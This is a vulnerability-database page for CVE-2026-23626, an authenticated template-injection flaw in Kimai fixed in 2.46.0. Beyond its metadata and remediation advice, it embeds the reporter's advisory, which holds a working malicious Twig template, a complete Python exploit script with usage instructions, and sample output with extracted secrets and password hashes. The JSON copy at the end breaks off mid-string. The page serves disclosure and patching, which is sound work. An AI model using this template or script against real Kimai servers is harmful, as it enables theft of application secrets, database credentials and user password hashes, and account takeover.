CVE-2026-23626: Kimai/kimai Kimai Has An Authenticated Server-Side Vulnerability

MODERATE
Advisory Identifier: GHSA-jg2j-2w24-54cg
CVSS 6.8
CWE-1336
Published
Advisory Summary

CVE-2026-23626 is a MODERATE (CVSS 6.8) kimai has an authenticated server-side vulnerability (CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine) affecting Kimai/kimai libraries in the Packagist ecosystem. The issue involves kimai has an authenticated server-side template injection (ssti). Remediation is available by upgrading affected packages to version 2.46.0.

CVE-2026-23626 at a Glance

CVE Identifier CVE-2026-23626
GHSA Identifier GHSA-jg2j-2w24-54cg
Severity MODERATE
CVSS v3.1 Base Score 6.8
CWE Classification CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Affected Product Kimai/kimai
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 6.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-23626

To remediate this vulnerability, upgrade all affected Kimai/kimai dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

kimai/kimai fixed: 2.46.0
Upgrade kimai/kimai to 2.46.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for kimai/kimai

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-23626, inspect your project dependencies for Kimai/kimai:

inspect dependencies for kimai/kimai

Analyze the terminal output to locate any version of Kimai/kimai in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.46.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine, where the product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine. In Kimai/kimai, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI) ## Vulnerability Summary | Field | Value | |-------|-------| | **Title** | Authenticated SSTI via Permissive Export Template Sandbox || **Attack Vector** | Network | | **Attack Complexity** | Low | | **Privileges Required** | High (Admin with export permissions and server access) | | **User Interaction** | None | | **Impact** | Confidentiality: HIGH (Credential/Secret Extraction) | | **Affected Versions** | Kimai 2.45.0 (likely earlier versions) | | **Tested On** | Docker: kimai/kimai2:apache-2.45.0 | | **Discovery Date** | 2026-01-05 | --- **Why Scope is "Changed":** The extracted `APP_SECRET` can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context. --- ## Vulnerability Description Kimai's export functionality uses a Twig sandbox with an overly permissive security policy (`DefaultPolicy`) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including: 1. **Environment Variables** (APP_SECRET, DATABASE_URL) 2. **All User Password Hashes** (bcrypt) 3. **Serialized Session Tokens** 4. **CSRF Tokens** --- ## Prerequisites 1. **Authenticated Access**: Valid account with export permissions (typically ROLE_ADMIN, ROLE_SUPER_ADMIN, or ROLE_TEAMLEAD) 2. **Template Deployment**: Ability to place a malicious `.pdf.twig` template in `/opt/kimai/var/export/` via: - Filesystem access (server admin) --- ## Test Environment ### Users in Test Instance The test environment contains 2 users whose password hashes were successfully extracted: Kimai Users Page - screenshot_users.png: <img width="1124" height="1119" alt="screenshot_users" src="https://github.com/user-attachments/assets/89771b84-a95c-4c6d-9515-7e9a38ef3235" /> | User | Role | Hash Extracted | |------|------|----------------| | admin | ROLE_SUPER_ADMIN | ✅ Yes | | lowpriv | ROLE_USER | ✅ Yes | --- ## Confirmed Exploitation Evidence ### Test Date: 2026-01-05 ### Extracted Data (Actual Output from Exploit) ``` ===SSTI_EXTRACTION_START=== 1. ENVIRONMENT VARIABLES APP_SECRET: change_this_to_something_unique DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0 APP_ENV: prod 2. SESSION TOKEN (SERIALIZED) O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{ i:0;N;i:1;s:12:"secured_area";i:2;a:5:{ i:0;O:15:"App\Entity\User":5:{ s:2:"id";i:1; s:8:"username";s:5:"admin"; s:7:"enabled";b:1; s:5:"email";s:17:"admin@example.com"; s:8:"password";s:60:"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye"; } i:1;b:1;i:2;N;i:3;a:0:{} i:4;a:2:{i:0;s:16:"ROLE_SUPER_ADMIN";i:1;s:9:"ROLE_USER";} } } 3. CURRENT USER DETAILS username: admin email: admin@example.com password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye roles: ROLE_SUPER_ADMIN, ROLE_USER 4. ALL USER PASSWORD HASHES (FROM TIMESHEETS) admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a 5. CSRF TOKENS _csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4 _csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58 ===SSTI_EXTRACTION_END=== ``` --- ## Root Cause Analysis ### Vulnerable Code: `src/Twig/SecurityPolicy/ExportPolicy.php` The export functionality uses `ExportPolicy` which includes `DefaultPolicy`: ```php $this->policy->addPolicy(new DefaultPolicy()); ``` ### The Problem: `src/Twig/SecurityPolicy/DefaultPolicy.php` ```php final class DefaultPolicy implements SecurityPolicyInterface { public function checkSecurity($tags, $filters, $functions): void { // EMPTY - No restrictions on Twig tags/filters/functions } public function checkMethodAllowed($obj, $method): void { // EMPTY - Allows ANY method call on ANY object } public function checkPropertyAllowed($obj, $property): void { // EMPTY - Allows ANY property access on ANY object } } ``` This allows templates to call methods like: - `app.request.server.get("APP_SECRET")` - Environment variable access - `app.session.get("_security_secured_area")` - Session data access - `entry.user.password` - Password hash access --- ## Exploitation Steps ### Step 1: Deploy Malicious Template Save the following as `/opt/kimai/var/export/ssti-extract.pdf.twig`: ```bash docker exec kimai-kimai-1 bash -c 'cat > /opt/kimai/var/export/ssti-extract.pdf.twig << "TEMPLATE" <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>SSTI Data Extraction</title> <style> body { font-family: monospace; font-size: 10px; } h1, h2 { color: #333; } pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; } </style> </head> <body> <h1>===SSTI_EXTRACTION_START===</h1> <h2>1. ENVIRONMENT VARIABLES</h2> <pre> APP_SECRET: {{ app.request.server.get("APP_SECRET") }} DATABASE_URL: {{ app.request.server.get("DATABASE_URL") }} APP_ENV: {{ app.request.server.get("APP_ENV") }} APP_DEBUG: {{ app.request.server.get("APP_DEBUG") }} </pre> <h2>2. SESSION TOKEN (SERIALIZED)</h2> <pre> {{ app.session.get("_security_secured_area") }} </pre> <h2>3. CURRENT USER DETAILS</h2> <pre> {% set user = query.currentUser %} username: {{ user.username }} email: {{ user.email }} password_hash: {{ user.password }} roles: {{ user.roles|join(", ") }} id: {{ user.id }} </pre> <h2>4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)</h2> <pre> {% set seen = {} %} {% for entry in entries %} {% if entry.user is defined and entry.user.username not in seen %} {% set seen = seen|merge({(entry.user.username): true}) %} {{ entry.user.username }}:{{ entry.user.password }} {% endif %} {% endfor %} </pre> <h2>5. CSRF TOKENS</h2> <pre> _csrf/search: {{ app.session.get("_csrf/search") }} _csrf/datatable_update: {{ app.session.get("_csrf/datatable_update") }} _csrf/entities_multiupdate: {{ app.session.get("_csrf/entities_multiupdate") }} </pre> <h2>6. USER PREFERENCES</h2> <pre> {% set user = query.currentUser %} {% for pref in user.preferences %} {{ pref.name }}: {{ pref.value }} {% endfor %} </pre> <h1>===SSTI_EXTRACTION_END===</h1> </body> </html> TEMPLATE' ``` ### Step 2: Run the Exploit ```bash python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! ``` ### Step 3: Extract Text from PDF ```bash pdftotext kimai_extracted_data.pdf - ``` --- ## Detailed Exploit Usage ### Requirements ```bash # Install Python dependencies pip install requests # Install PDF text extraction tool sudo apt install poppler-utils ``` ### Command Syntax ``` python3 ssti_exploit.py <target_url> <username> <password> [template_name] Arguments: target_url - Kimai instance URL (e.g., http://localhost:8001) username - Valid admin username with export permissions password - User password template_name - Optional: custom template (default: ssti-extract.pdf.twig) ``` ### Example Usage ```bash # Basic usage python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! # With custom template python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! custom-template.pdf.twig ``` ### Expected Output ``` ╔═══════════════════════════════════════════════════════════════╗ ║ Kimai 2.45.0 - SSTI Information Disclosure Exploit ║ ║ ║ ║ Extracts: APP_SECRET, DATABASE_URL, Password Hashes ║ ╚═══════════════════════════════════════════════════════════════╝ [*] Connecting to http://localhost:8001 [*] Authenticating as admin [+] Successfully authenticated as admin [*] Triggering SSTI with template: ssti-extract.pdf.twig [+] PDF generated successfully: 35356 bytes [+] PDF saved to: kimai_extracted_data.pdf ============================================================ RAW EXTRACTED DATA: ============================================================ ===SSTI_EXTRACTION_START=== 1. ENVIRONMENT VARIABLES APP_SECRET: change_this_to_something_unique DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0 APP_ENV: prod 2. SESSION TOKEN (SERIALIZED) O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{...} 3. CURRENT USER DETAILS username: admin email: admin@example.com password_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye roles: ROLE_SUPER_ADMIN, ROLE_USER 4. ALL USER PASSWORD HASHES (FROM TIMESHEETS) admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a 5. CSRF TOKENS _csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4 _csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58 ===SSTI_EXTRACTION_END=== ============================================================ CRITICAL FINDINGS SUMMARY: ============================================================ [!] APP_SECRET: change_this_to_something_unique [!] DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0 [!] Password Hashes Found: 2 unique admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye... lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a... [!] Session Token: Present (serialized PHP object) [!] CSRF Tokens: 2 found [+] Exploitation successful! [+] Full output saved to: kimai_extracted_data.pdf ``` ### Output Files | File | Description | |------|-------------| | `kimai_extracted_data.pdf` | PDF containing all extracted sensitive data | ### Manual PDF Text Extraction ```bash # Extract text from PDF pdftotext kimai_extracted_data.pdf - # Save to file pdftotext kimai_extracted_data.pdf extracted_secrets.txt # Search for specific secrets pdftotext kimai_extracted_data.pdf - | grep -E "(APP_SECRET|DATABASE_URL|\\\$2y\\\$)" ``` ### Error Handling | Error Message | Cause | Solution | |---------------|-------|----------| | `Cannot connect to <url>` | Target unreachable | Check URL and network | | `Authentication failed` | Wrong credentials | Verify username/password | | `Template not found` | Template not deployed | Deploy template first (Step 1) | | `Access denied` | Insufficient permissions | Use admin account with export perms | | `pdftotext not installed` | Missing tool | Run `apt install poppler-utils` | --- ## Complete Exploit Script (ssti_exploit.py) ```python #!/usr/bin/env python3 """ Kimai 2.45.0 - SSTI Information Disclosure Exploit Extracts: APP_SECRET, DATABASE_URL, Password Hashes, Session Tokens Prerequisites: 1. Valid admin credentials 2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig Usage: python3 ssti_exploit.py <target_url> <username> <password> Example: python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! Author: Security Research Date: 2026-01-05 """ import requests import re import subprocess import sys import os class KimaiSSTIExploit: def __init__(self, target, username, password): self.target = target.rstrip('/') self.session = requests.Session() self.username = username self.password = password def login(self): """Authenticate to Kimai""" print(f"[*] Connecting to {self.target}") try: login_page = self.session.get(f"{self.target}/en/login", timeout=10) except requests.exceptions.ConnectionError: raise Exception(f"Cannot connect to {self.target}") except requests.exceptions.Timeout: raise Exception(f"Connection timeout to {self.target}") if login_page.status_code != 200: raise Exception(f"Cannot reach login page: HTTP {login_page.status_code}") csrf_match = re.search(r'name="_csrf_token"[^>]*value="([^"]+)"', login_page.text) if not csrf_match: raise Exception("CSRF token not found on login page") csrf = csrf_match.group(1) print(f"[*] Authenticating as {self.username}") login_resp = self.session.post( f"{self.target}/en/login_check", data={ "_username": self.username, "_password": self.password, "_csrf_token": csrf }, allow_redirects=True, timeout=10 ) # Check for successful login if "logout" not in login_resp.text.lower() and "sign out" not in login_resp.text.lower(): if "invalid" in login_resp.text.lower() or "incorrect" in login_resp.text.lower(): raise Exception("Invalid username or password") raise Exception("Authentication failed - check credentials") print(f"[+] Successfully authenticated as {self.username}") return True def trigger_ssti(self, template_name="ssti-extract.pdf.twig"): """Trigger SSTI via export functionality""" print(f"[*] Triggering SSTI with template: {template_name}") try: export_resp = self.session.post( f"{self.target}/en/export/data", data={ "renderer": template_name, "state": "3", # All states "billable": "0", # All billable states "exported": "5", # All export states "markAsExported": "0", }, timeout=60 ) except requests.exceptions.Timeout: raise Exception("Export request timed out") if export_resp.status_code == 404: raise Exception(f"Template '{template_name}' not found - deploy template first") if export_resp.status_code == 403: raise Exception("Access denied - user lacks export permissions") if export_resp.status_code != 200: raise Exception(f"Export failed: HTTP {export_resp.status_code}") if b'%PDF' not in export_resp.content[:10]: if b'error' in export_resp.content.lower() or b'exception' in export_resp.content.lower(): raise Exception("Template rendering error - check template syntax") raise Exception("Invalid response - expected PDF output") print(f"[+] PDF generated successfully: {len(export_resp.content)} bytes") return export_resp.content def extract_text(self, pdf_content, output_path="/tmp/kimai_ssti_output.pdf"): """Extract text from PDF using pdftotext""" with open(output_path, "wb") as f: f.write(pdf_content) try: result = subprocess.run( ["pdftotext", output_path, "-"], capture_output=True, text=True, timeout=30 ) if result.returncode != 0: print(f"[-] pdftotext error: {result.stderr}") return None return result.stdout except FileNotFoundError: print("[-] pdftotext not installed") print(" Install with: apt install poppler-utils") return None except subprocess.TimeoutExpired: print("[-] pdftotext timed out") return None def parse_findings(self, text): """Parse and categorize extracted data""" findings = { "app_secret": None, "database_url": None, "password_hashes": [], "session_token": None, "csrf_tokens": [] } lines = text.split('\n') for i, line in enumerate(lines): line = line.strip() if "APP_SECRET:" in line: findings["app_secret"] = line.split("APP_SECRET:")[-1].strip() if "DATABASE_URL:" in line or "mysql://" in line: if "mysql://" in line: findings["database_url"] = line.strip() elif i + 1 < len(lines): findings["database_url"] = lines[i + 1].strip() if "$2y$" in line: findings["password_hashes"].append(line) if "UsernamePasswordToken" in line: findings["session_token"] = "Present (serialized PHP object)" if "_csrf" in line.lower() or len(line) == 43: if ":" in line: findings["csrf_tokens"].append(line) return findings def print_banner(): print(""" ╔═══════════════════════════════════════════════════════════════╗ ║ Kimai 2.45.0 - SSTI Information Disclosure Exploit ║ ║ ║ ║ Extracts: APP_SECRET, DATABASE_URL, Password Hashes ║ ╚═══════════════════════════════════════════════════════════════╝ """) def main(): print_banner() if len(sys.argv) < 4: print("Usage: python3 ssti_exploit.py <target_url> <username> <password> [template_name]") print() print("Arguments:") print(" target_url - Kimai instance URL (e.g., http://localhost:8001)") print(" username - Valid admin username") print(" password - User password") print(" template_name - Optional: custom template name (default: ssti-extract.pdf.twig)") print() print("Example:") print(" python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!") print() print("Prerequisites:") print(" 1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig") print(" 2. User must have export permissions (ROLE_ADMIN or higher)") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] template = sys.argv[4] if len(sys.argv) > 4 else "ssti-extract.pdf.twig" exploit = KimaiSSTIExploit(target, username, password) try: # Step 1: Authenticate exploit.login() # Step 2: Trigger SSTI pdf_content = exploit.trigger_ssti(template) # Step 3: Save PDF output_file = "kimai_extracted_data.pdf" with open(output_file, "wb") as f: f.write(pdf_content) print(f"[+] PDF saved to: {output_file}") # Step 4: Extract and display text text = exploit.extract_text(pdf_content) if text: print() print("="*60) print("RAW EXTRACTED DATA:") print("="*60) print(text[:2000]) if len(text) > 2000: print(f"\n... [{len(text) - 2000} more characters]") # Parse findings findings = exploit.parse_findings(text) print() print("="*60) print("CRITICAL FINDINGS SUMMARY:") print("="*60) if findings["app_secret"]: print(f"[!] APP_SECRET: {findings['app_secret']}") if findings["database_url"]: print(f"[!] DATABASE_URL: {findings['database_url']}") if findings["password_hashes"]: unique_hashes = list(set(findings["password_hashes"])) print(f"[!] Password Hashes Found: {len(unique_hashes)} unique") for h in unique_hashes[:5]: print(f" {h[:80]}...") if len(unique_hashes) > 5: print(f" ... and {len(unique_hashes) - 5} more") if findings["session_token"]: print(f"[!] Session Token: {findings['session_token']}") if findings["csrf_tokens"]: print(f"[!] CSRF Tokens: {len(findings['csrf_tokens'])} found") print() print("[+] Exploitation successful!") print(f"[+] Full output saved to: {output_file}") return 0 except KeyboardInterrupt: print("\n[-] Interrupted by user") return 130 except Exception as e: print(f"[-] Exploitation failed: {e}") return 1 if __name__ == "__main__": sys.exit(main()) ``` --- ## Impact Analysis | Extracted Data | Security Impact | |---------------|-----------------| | `APP_SECRET` | Can forge Symfony login links to access ANY user account | | `DATABASE_URL` | Direct database connection credentials exposed | | Password Hashes | Offline password cracking possible (bcrypt) | | Session Tokens | Session structure analysis, potential replay attacks | | CSRF Tokens | Bypass CSRF protection for subsequent attacks | ### Attack Chain Example 1. Exploit SSTI → Extract `APP_SECRET` 2. Use `APP_SECRET` to forge login link for target user 3. Access target user's account without knowing their password --- ## Remediation ### Immediate Fix Replace `DefaultPolicy` with `InvoicePolicy` in `ExportPolicy`: ```php // src/Twig/SecurityPolicy/ExportPolicy.php // Change: $this->policy->addPolicy(new DefaultPolicy()); // To: $this->policy->addPolicy(new InvoicePolicy()); ``` ### Additional Hardening 1. **Block environment access in templates:** ```php public function checkMethodAllowed($obj, $method): void { if ($obj instanceof Request && $method === 'getServer') { throw new SecurityError('Server access not allowed'); } } ``` 2. **Block session access in templates:** ```php if ($obj instanceof Session) { throw new SecurityError('Session access not allowed'); } ``` 3. **Restrict User object property access:** ```php if ($obj instanceof User && $method === 'getPassword') { throw new SecurityError('Password access not allowed'); } ``` --- Reported by: Mahammad Huseynkhanli

CVE-2026-23626 Affected Kimai/kimai Versions

1 component(s)
Fixed Versions:
2.46.0
Product / Package Ecosystem Affected Versions Fixed Version
kimai/kimai
Packagist
< 2.46.0
2.46.0

References

Frequently Asked Questions

What is CVE-2026-23626?
CVE-2026-23626 is a security vulnerability in Kimai/kimai involving Kimai has an Authenticated Server-Side Template Injection (SSTI) under CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine.
Which Kimai/kimai versions are affected?
Affected versions include releases prior to 2.46.0 across affected packages: kimai/kimai.
What version fixes CVE-2026-23626?
Upgrading to 2.46.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is kimai/kimai affected?
Yes, kimai/kimai is affected in releases prior to 2.46.0. Upgrade your dependency to 2.46.0 or later.
What is the CVSS score of CVE-2026-23626?
CVE-2026-23626 has a CVSS v3.1 base score of 6.8 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-23626?
CVE-2026-23626 is classified under CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine (The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.).
How can I check Packagist dependencies for CVE-2026-23626?
Run the dependency tree command: 'inspect dependencies for kimai/kimai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-jg2j-2w24-54cg",
  "modified" : "2026-01-20T17:07:13Z",
  "published" : "2026-01-20T17:07:13Z",
  "aliases" : [ "CVE-2026-23626" ],
  "summary" : "Kimai has an Authenticated Server-Side Template Injection (SSTI)",
  "details" : "# Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI)\n\n## Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Title** | Authenticated SSTI via Permissive Export Template Sandbox || **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | High (Admin with export permissions and server access) |\n| **User Interaction** | None |\n| **Impact** | Confidentiality: HIGH (Credential/Secret Extraction) |\n| **Affected Versions** | Kimai 2.45.0 (likely earlier versions) |\n| **Tested On** | Docker: kimai/kimai2:apache-2.45.0 |\n| **Discovery Date** | 2026-01-05 |\n\n---\n\n**Why Scope is \"Changed\":** The extracted `APP_SECRET` can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.\n\n---\n\n## Vulnerability Description\n\nKimai's export functionality uses a Twig sandbox with an overly permissive security policy (`DefaultPolicy`) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:\n\n1. **Environment Variables** (APP_SECRET, DATABASE_URL)\n2. **All User Password Hashes** (bcrypt)\n3. **Serialized Session Tokens**\n4. **CSRF Tokens**\n\n---\n\n## Prerequisites\n\n1. **Authenticated Access**: Valid account with export permissions (typically ROLE_ADMIN, ROLE_SUPER_ADMIN, or ROLE_TEAMLEAD)\n2. **Template Deployment**: Ability to place a malicious `.pdf.twig` template in `/opt/kimai/var/export/` via:\n   - Filesystem access (server admin)\n\n---\n\n## Test Environment\n\n### Users in Test Instance\n\nThe test environment contains 2 users whose password hashes were successfully extracted:\n\nKimai Users Page - screenshot_users.png:\n<img width=\"1124\" height=\"1119\" alt=\"screenshot_users\" src=\"https://github.com/user-attachments/assets/89771b84-a95c-4c6d-9515-7e9a38ef3235\" />\n\n\n| User | Role | Hash Extracted |\n|------|------|----------------|\n| admin | ROLE_SUPER_ADMIN | ✅ Yes |\n| lowpriv | ROLE_USER | ✅ Yes |\n\n---\n\n## Confirmed Exploitation Evidence\n\n### Test Date: 2026-01-05\n\n### Extracted Data (Actual Output from Exploit)\n\n```\n===SSTI_EXTRACTION_START===\n\n1. ENVIRONMENT VARIABLES\nAPP_SECRET: change_this_to_something_unique\nDATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0\nAPP_ENV: prod\n\n2. SESSION TOKEN (SERIALIZED)\nO:74:\"Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken\":3:{\n  i:0;N;i:1;s:12:\"secured_area\";i:2;a:5:{\n    i:0;O:15:\"App\\Entity\\User\":5:{\n      s:2:\"id\";i:1;\n      s:8:\"username\";s:5:\"admin\";\n      s:7:\"enabled\";b:1;\n      s:5:\"email\";s:17:\"admin@example.com\";\n      s:8:\"password\";s:60:\"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\";\n    }\n    i:1;b:1;i:2;N;i:3;a:0:{}\n    i:4;a:2:{i:0;s:16:\"ROLE_SUPER_ADMIN\";i:1;s:9:\"ROLE_USER\";}\n  }\n}\n\n3. CURRENT USER DETAILS\nusername: admin\nemail: admin@example.com\npassword_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nroles: ROLE_SUPER_ADMIN, ROLE_USER\n\n4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)\nadmin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nlowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a\n\n5. CSRF TOKENS\n_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4\n_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58\n\n===SSTI_EXTRACTION_END===\n```\n\n---\n\n## Root Cause Analysis\n\n### Vulnerable Code: `src/Twig/SecurityPolicy/ExportPolicy.php`\n\nThe export functionality uses `ExportPolicy` which includes `DefaultPolicy`:\n\n```php\n$this->policy->addPolicy(new DefaultPolicy());\n```\n\n### The Problem: `src/Twig/SecurityPolicy/DefaultPolicy.php`\n\n```php\nfinal class DefaultPolicy implements SecurityPolicyInterface\n{\n    public function checkSecurity($tags, $filters, $functions): void\n    {\n        // EMPTY - No restrictions on Twig tags/filters/functions\n    }\n\n    public function checkMethodAllowed($obj, $method): void\n    {\n        // EMPTY - Allows ANY method call on ANY object\n    }\n\n    public function checkPropertyAllowed($obj, $property): void\n    {\n        // EMPTY - Allows ANY property access on ANY object\n    }\n}\n```\n\nThis allows templates to call methods like:\n- `app.request.server.get(\"APP_SECRET\")` - Environment variable access\n- `app.session.get(\"_security_secured_area\")` - Session data access\n- `entry.user.password` - Password hash access\n\n---\n\n## Exploitation Steps\n\n### Step 1: Deploy Malicious Template\n\nSave the following as `/opt/kimai/var/export/ssti-extract.pdf.twig`:\n\n```bash\ndocker exec kimai-kimai-1 bash -c 'cat > /opt/kimai/var/export/ssti-extract.pdf.twig << \"TEMPLATE\"\n<!DOCTYPE html>\n<html>\n<head>\n    <meta charset=\"UTF-8\">\n    <title>SSTI Data Extraction</title>\n    <style>\n        body { font-family: monospace; font-size: 10px; }\n        h1, h2 { color: #333; }\n        pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; }\n    </style>\n</head>\n<body>\n\n<h1>===SSTI_EXTRACTION_START===</h1>\n\n<h2>1. ENVIRONMENT VARIABLES</h2>\n<pre>\nAPP_SECRET: {{ app.request.server.get(\"APP_SECRET\") }}\nDATABASE_URL: {{ app.request.server.get(\"DATABASE_URL\") }}\nAPP_ENV: {{ app.request.server.get(\"APP_ENV\") }}\nAPP_DEBUG: {{ app.request.server.get(\"APP_DEBUG\") }}\n</pre>\n\n<h2>2. SESSION TOKEN (SERIALIZED)</h2>\n<pre>\n{{ app.session.get(\"_security_secured_area\") }}\n</pre>\n\n<h2>3. CURRENT USER DETAILS</h2>\n<pre>\n{% set user = query.currentUser %}\nusername: {{ user.username }}\nemail: {{ user.email }}\npassword_hash: {{ user.password }}\nroles: {{ user.roles|join(\", \") }}\nid: {{ user.id }}\n</pre>\n\n<h2>4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)</h2>\n<pre>\n{% set seen = {} %}\n{% for entry in entries %}\n{% if entry.user is defined and entry.user.username not in seen %}\n{% set seen = seen|merge({(entry.user.username): true}) %}\n{{ entry.user.username }}:{{ entry.user.password }}\n{% endif %}\n{% endfor %}\n</pre>\n\n<h2>5. CSRF TOKENS</h2>\n<pre>\n_csrf/search: {{ app.session.get(\"_csrf/search\") }}\n_csrf/datatable_update: {{ app.session.get(\"_csrf/datatable_update\") }}\n_csrf/entities_multiupdate: {{ app.session.get(\"_csrf/entities_multiupdate\") }}\n</pre>\n\n<h2>6. USER PREFERENCES</h2>\n<pre>\n{% set user = query.currentUser %}\n{% for pref in user.preferences %}\n{{ pref.name }}: {{ pref.value }}\n{% endfor %}\n</pre>\n\n<h1>===SSTI_EXTRACTION_END===</h1>\n\n</body>\n</html>\nTEMPLATE'\n```\n\n### Step 2: Run the Exploit\n\n```bash\npython3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\n```\n\n### Step 3: Extract Text from PDF\n\n```bash\npdftotext kimai_extracted_data.pdf -\n```\n\n---\n\n## Detailed Exploit Usage\n\n### Requirements\n\n```bash\n# Install Python dependencies\npip install requests\n\n# Install PDF text extraction tool\nsudo apt install poppler-utils\n```\n\n### Command Syntax\n\n```\npython3 ssti_exploit.py <target_url> <username> <password> [template_name]\n\nArguments:\n  target_url    - Kimai instance URL (e.g., http://localhost:8001)\n  username      - Valid admin username with export permissions\n  password      - User password\n  template_name - Optional: custom template (default: ssti-extract.pdf.twig)\n```\n\n### Example Usage\n\n```bash\n# Basic usage\npython3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\n\n# With custom template\npython3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! custom-template.pdf.twig\n```\n\n### Expected Output\n\n```\n╔═══════════════════════════════════════════════════════════════╗\n║     Kimai 2.45.0 - SSTI Information Disclosure Exploit        ║\n║                                                               ║\n║  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          ║\n╚═══════════════════════════════════════════════════════════════╝\n\n[*] Connecting to http://localhost:8001\n[*] Authenticating as admin\n[+] Successfully authenticated as admin\n[*] Triggering SSTI with template: 